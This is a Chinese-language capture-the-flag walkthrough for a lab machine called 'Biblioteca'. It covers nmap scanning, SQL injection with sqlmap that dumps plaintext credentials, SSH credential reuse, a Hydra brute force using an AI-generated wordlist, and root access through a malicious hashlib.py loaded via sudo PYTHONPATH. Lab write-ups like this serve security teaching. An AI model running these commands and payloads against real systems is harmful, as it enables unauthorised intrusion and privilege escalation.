题目: Biblioteca
描述: Shhh. Be very very quiet, no shouting inside the biblioteca. Hit 'em with the classics.

信息收集
从题目描述没有看出什么东西来,直接 fscan 和 nmap 扫描一下

sudo nmap -sS -p- -T4 -n --open --stats-every 5s 10.49.165.165
发现,目标就开放了两个端口,一个 22 ssh 没有弱口令,一个 8000 是一个 web 登录页面。
初步探测
访问一下这个 8000 端口服务,一个简单的登录服务,尝试了下简单的 admin 弱口令,没成功。

发现下面有一个注册功能,注册一个账号用户名交 admin ,很顺利,没有被拒绝,说明 admin 名字应该没有重复。
登录成功后,也没发现有什么东西,不过关注到 用户名会直接回显在页面上。以及指纹探测到是 python flask 起的服务。
可以,直接想到 CTF 常客,python SSTI


回到注册页面,尝试直接注册用户名
{{7*7}} {{7-7}} {7*7} {7-7}很遗憾,均失败了,特殊字符不让用。

思来想去回顾一下 HAE ,也没啥东西

小有突破
想了一想,还有 SQL 注入没测试。
抓一下原登录成功的登陆包,可以经典的 单个单引号报错,一对双引号正常。那大概率就是有 SQL 注入了。


试一下万能密码,登录的账户变成了 smokey

先不管他,手测太慢,丢给 SQLmap 一把梭
保存登录包报文
sqlmap -r login.req -p password --dbs --batch
得到后端数据库类型: MySQL >= 5.0.12 注入位置: password
可用注入:
Type: boolean-based blind
Type: time-based blind
Type: UNION queryunion 得到有 4 列,以及 3 个数据库
[*] information_schema
[*] performance_schema
[*] website开始 dump
sqlmap -r login.req -p password -D website --dump --batch --technique=U
得到如上信息,但是貌似没有想要的 flag ,继续 dump
也没发现啥有用的信息

拿到这个账号密码登录后台看一下
smokey@email.boop | My_P@ssW0rd123 | smokey 同样的,跟注册的 admin 差不多
查一下当前用户权限,得到当前用户是: smokey@localhost 也没有 FILE 权限。
但是很可惜不是 dba 权限,想尝试写文件也不行了
sqlmap -r login.req -p password --is-dba --batch --technique=U
sqlmap -r login.req -p password --current-user --batch --technique=U
sqlmap -r login.req -p password --privileges --batch --technique=U


GetShell
想了半天,没啥能测试的地方了。想到前面还有个 ssh 端口开着。这里存在明文的用户密码,浅浅的试一下。
ssh smokey@10.48.156.7 # 靶机过期,换了一个ip
还真登录成功了,权限比较低。
观察到当前登录用户存在 3 个
hazel smokey ubuntu
发现 user.txt 在用户 hazel 目录下面,但是只有 root 和 hazel 用户组可以读取。

现在需要想个办法提权,或者获取到 hazel 用户的权限。
横向移动
翻了一下进程列表,以及 sudo -l 发现当前用户没有 sudo 权限,以及也没什么好劫持的进程。
思来想去,不如继续爆破一下 hazel 的密码
除了弱口令字典外,让 AI 根据用户名也生成一份字典用来 fuzz

密码字典填充在一起后
hydra -l hazel -P password.txt ssh://10.48.156.7
可以,还是 AI 大人nb ,直接 ssh 连上,进行读取。
ssh hazel@10.48.156.7
权限提升
现在该想办法提权到 root 了,前面在 smokey 用户上扫了一圈没什么好劫持的。现在换 hazel 试试。
可以,老生常谈典中典无密码可 sudo 对象。

hazel 可以在不输密码的情况下,以 root 身份运行 python3 执行 /home/hazel/hasher.py,并且允许自定义环境变量(SETENV)。
我们知道默认的 sudo 行为是会清理 环境变量的,当他允许自定义环境变量时,我们就可以利用此操作来做一些突破边界的事。
Python 库劫持 (Library Hijacking) —— 利用 SETENV
简述一下原理:
Python 的模块导入本质是:解释器按顺序在一串路径里找模块文件/包,先找到谁就加载谁。
import 的查找顺序:
导入搜索路径来自 sys.path,典型来源按"优先级"大致是:
脚本所在目录 / 当前工作目录(很多场景下优先级最高)
PYTHONPATH环境变量指定的目录(会被加载到前几项)标准库目录(stdlib)
site-packages(第三方库安装目录)
用户 site-packages(
~/.local/...,取决于是否启用)
所以如果一个高权限 Python 程序写了:
import requests而 sys.path 的前面某个目录里恰好存在你放的 requests.py 或 requests/ 包,那么它会先加载你那个。
所以可以 利用导入优先级 + 路径可控,制造 "同名遮蔽(shadowing)"。
先看一下这个脚本的权限,很遗憾,当前用户对这个脚本是没有写权限的,只能读,并且当前用户对于整个 /home/hazel 下(不包含 .cache 子目录) 都不可写。 我们不能通过直接修改脚本内容来实现提权了。

简单看一下脚本内容
hazel@ip-10-48-156-7:/home$ cat /home/hazel/hasher.py这里看到 导入了 hashlib 库,为前面说的 标准库(stdlib)级别,即我们只需要在 "脚本所在目录 / 当前工作目录 / PYTHONPATH 环境变量指定的目录" 构建一个 hashlib 同名库,即可进行劫持。 但是由于上面说的脚本所在目录没有写权限,并且存在 所以我们选用 PYTHONPATH 环境变量指定的目录 进行劫持。
import hashlib
def hashing(passw):
md5 = hashlib.md5(passw.encode())
print("Your MD5 hash is: ", end ="")
print(md5.hexdigest())
sha256 = hashlib.sha256(passw.encode())
print("Your SHA256 hash is: ", end ="")
print(sha256.hexdigest())
sha1 = hashlib.sha1(passw.encode())
print("Your SHA1 hash is: ", end ="")
print(sha1.hexdigest())
def main():
passw = input("Enter a password to hash: ")
hashing(passw)
if __name__ == "__main__":
main()
现在我们在 /tmp 下创建一个恶意的同名包,然后写入恶意代码。
cd /tmp
nano hashlib.py
# 写入
import os
os.system("/bin/bash")利用 PYTHONPATH 指定优先加载 /tmp/hashlib.py 进行提权。python 时解释型语言,后面的错误不会影响前面的导包。
sudo PYTHONPATH=/tmp /usr/bin/python3 /home/hazel/hasher.py现在以 root 权限运行的 python3 成功弹起了一个 root 权限的 bash shell

cat /root/root.txt